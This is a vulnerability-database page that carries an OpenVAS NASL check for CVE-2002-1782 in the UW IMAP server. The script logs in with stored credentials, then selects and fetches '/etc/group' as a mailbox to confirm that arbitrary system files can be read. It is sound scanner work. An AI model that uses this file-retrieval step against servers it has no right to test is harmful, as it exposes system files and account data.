IMAP arbitrary file retrieval
🗓️ 03 Nov 2005 00:00:00Reported by Copyright (C) 2004 George A. TheallType
openvas🔗 plugins.openvas.org👁 34 Views
| Reporter | Title | Published | Views | Family All 8 |
|---|---|---|---|---|
| CVE-2002-1782 | 21 Jun 200504:00 | – | cve | |
| CVE-2002-1782 | 21 Jun 200504:00 | – | cvelist | |
| CVE-2002-1782 | 21 Jun 200504:00 | – | debiancve | |
| EUVD-2002-1761 | 7 Oct 202500:30 | – | euvd | |
| UoW imap Server (uw-imapd) Arbitrary Remote File Access | 26 May 200400:00 | – | nessus | |
| CVE-2002-1782 | 31 Dec 200205:00 | – | nvd | |
| IMAP arbitrary file retrieval | 3 Nov 200500:00 | – | openvas | |
| DEBIAN-CVE-2002-1782 | 31 Dec 200205:00 | – | osv |
| Source | Link |
|---|---|
| securityfocus | www.securityfocus.com/bid/4909 |
| washington | www.washington.edu/imap/IMAP-FAQs/index.html |
# SPDX-FileCopyrightText: 2004 George A. Theall
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only
if(description)
{
script_oid("1.3.6.1.4.1.25623.1.0.12254");
script_version("2023-08-01T13:29:10+0000");
script_tag(name:"last_modification", value:"2023-08-01 13:29:10 +0000 (Tue, 01 Aug 2023)");
script_tag(name:"creation_date", value:"2005-11-03 14:08:04 +0100 (Thu, 03 Nov 2005)");
script_tag(name:"cvss_base", value:"2.1");
script_tag(name:"cvss_base_vector", value:"AV:L/AC:L/Au:N/C:P/I:N/A:N");
script_cve_id("CVE-2002-1782");
script_name("IMAP arbitrary file retrieval");
script_category(ACT_ATTACK);
script_copyright("Copyright (C) 2004 George A. Theall");
script_family("Remote file access");
script_dependencies("imap4_banner.nasl", "logins.nasl");
script_require_ports("Services/imap", 143);
script_mandatory_keys("imap/banner/available", "imap/login", "imap/password");
script_xref(name:"URL", value:"http://www.washington.edu/imap/IMAP-FAQs/index.html#5.1");
script_xref(name:"URL", value:"http://www.securityfocus.com/bid/4909");
script_tag(name:"solution", value:"Contact your vendor for a fix.");
script_tag(name:"summary", value:"The target is running an IMAP daemon that allows an authenticated user
to retrieve and manipulate files that would be available to that user via a shell. If IMAP users are denied
shell access, you may consider this a vulnerability.");
script_tag(name:"solution_type", value:"Mitigation");
script_tag(name:"qod_type", value:"remote_vul");
exit(0);
}
include("misc_func.inc");
include("port_service_func.inc");
include("imap_func.inc");
kb_creds = imap_get_kb_creds();
user = kb_creds["login"];
pass = kb_creds["pass"];
if (!user || !pass)
exit(0);
file = "/etc/group"; # file to grab from target.
port = imap_get_port(default:143);
tag = 0;
soc = open_sock_tcp(port);
if(!soc)
exit(0);
s = recv_line(socket:soc, length:1024);
if (!strlen(s)) {
close(soc);
exit(0);
}
s = chomp(s);
#
# - try the PLAIN SASL mechanism.
# nb: RFC 3501 requires this be supported by imap4rev1 servers, although
# it may also require SSL / TLS encapsulation.
++tag;
c = string("a", string(tag), ' AUTHENTICATE "PLAIN"');
send(socket:soc, data:string(c, "\r\n"));
s = recv_line(socket:soc, length:1024);
s = chomp(s);
if (s =~ "^\+") {
c = base64(str:raw_string(0, user, 0, pass));
send(socket:soc, data:string(c, "\r\n"));
# nb: I'm not sure why, but the following recv_line often times out
# unless I either sleep for a bit before or specify a timeout
# even though the actual delay / timeout seems irrelevant.
while (s = recv_line(socket:soc, length:1024, timeout:1)) {
s = chomp(s);
m = eregmatch(pattern:string("^a", string(tag), " (OK|BAD|NO)"), string:s, icase:TRUE);
if (!isnull(m)) {
resp = m[1];
break;
}
resp = "";
}
}
# If that didn't work, try LOGIN command.
if (isnull(resp)) {
++tag;
c = string("a", string(tag), " LOGIN ", user, " ", pass);
send(socket:soc, data:string(c, "\r\n"));
while (s = recv_line(socket:soc, length:1024)) {
s = chomp(s);
m = eregmatch(pattern:string("^a", string(tag), " (OK|BAD|NO)"), string:s, icase:TRUE);
if (!isnull(m)) {
resp = m[1];
break;
}
resp = "";
}
}
# If successful, try to select an arbitrary file to use as a mailbox.
if (resp && resp =~ "OK") {
++tag;
c = string("a", string(tag), ' SELECT "', file, '"');
send(socket:soc, data:string(c, "\r\n"));
while (s = recv_line(socket:soc, length:1024)) {
s = chomp(s);
m = eregmatch(pattern:string("^a", string(tag), " (OK|BAD|NO)"), string:s, icase:TRUE);
if (!isnull(m)) {
resp = m[1];
break;
}
resp = "";
}
# If successful, try to read the file.
#
# NB: this isn't really necessary since the previous command,
# if successful, means we can read the file.
if (resp && resp =~ "OK") {
++tag;
c = string("a", string(tag), " FETCH 1 rfc822");
send(socket:soc, data:string(c, "\r\n"));
while (s = recv_line(socket:soc, length:1024)) {
s = chomp(s);
m = eregmatch(pattern:string("^a", string(tag), " (OK|BAD|NO)"), string:s, icase:TRUE);
if (!isnull(m)) {
resp = m[1];
break;
}
resp = "";
}
if (resp && resp =~ "OK") security_message(port);
}
}
# Logout.
++tag;
c = string("a", string(tag), " LOGOUT");
send(socket:soc, data:string(c, "\r\n"));
while (s = recv_line(socket:soc, length:1024)) {
s = chomp(s);
m = eregmatch(pattern:string("^a", string(tag), " (OK|BAD|NO)"), string:s, icase:TRUE);
if (!isnull(m)) {
resp = m[1];
break;
}
resp = "";
}
close(soc);
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
01 Aug 2023 00:00Current
6.4Medium risk
Vulners AI Score6.4
CVSS 22.1
EPSS0.00345